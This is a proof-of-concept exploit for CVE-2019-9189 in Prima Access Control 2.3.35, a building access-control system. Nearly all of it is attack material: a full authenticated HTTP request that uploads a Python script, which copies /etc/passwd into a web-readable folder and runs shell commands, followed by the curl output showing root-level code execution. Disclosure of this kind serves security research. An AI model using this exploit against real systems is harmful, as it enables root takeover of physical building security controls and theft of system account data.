Prima Access Control version 2.3.35 authenticated python script upload remote root code execution exploit.
405b9a11a2bf84c4af41e76024a58abcadf4203d2e618a80413892eb14c95119
Prima Access Control 2.3.35 Authenticated Python Script Upload Root RCE
CVE: CVE-2019-9189
Advisory: https://applied-risk.com/resources/ar-2019-007
Paper: https://applied-risk.com/resources/i-own-your-building-management-system
Discovered by Gjoko 'LiquidWorm' Krstic
---
POST /bin/sysfcgi.fx HTTP/1.1
Host: 192.168.13.37
Connection: keep-alive
Content-Length: 572
Origin: https://192.168.13.37
Session-ID: 5682699
User-Agent: Mozi-Mozi/44.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: text/html, */*; q=0.01
Session-Pc: 2
X-Requested-With: XMLHttpRequest
Referer: https://192.168.13.37/app/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: G_ENABLED_IDPS=google
<requests><request name="PythonScriptUpload"><param name="DestinationHwID" value="1"/><param name="FileName" value="test_python.py"/><param name="Content" value="#!/usr/bin/python
#
# test script
#

import sys,os

with open("/etc/passwd") as f:
 with open("/www/pages/app/images/logos/testingus2.txt", "w") as f1:
 for line in f:
 f1.write(line)


os.system("id;uname -a >> /www/pages/app/images/logos/testingus2.txt")"/></request></requests>
Result:
$ curl https://192.168.13.37/app/images/logos/testingus2.txt
root:x:0:0:root:/home/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/false
bin:x:2:2:bin:/bin:/bin/false
sys:x:3:3:sys:/dev:/bin/false
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/false
www-data:x:33:33:www-data:/var/www:/bin/false
operator:x:37:37:Operator:/var:/bin/false
nobody:x:99:99:nobody:/home:/bin/false
python:x:1000:1000:python:/home/python:/bin/false
admin:x:1001:1001:Linux User,,,:/home/admin:/bin/sh
uid=0(root) gid=0(root) groups=0(root),10(wheel)
Linux DemoMaster214 4.4.16 #1 Mon Aug 29 13:29:40 CEST 2016 armv7l GNU/Linux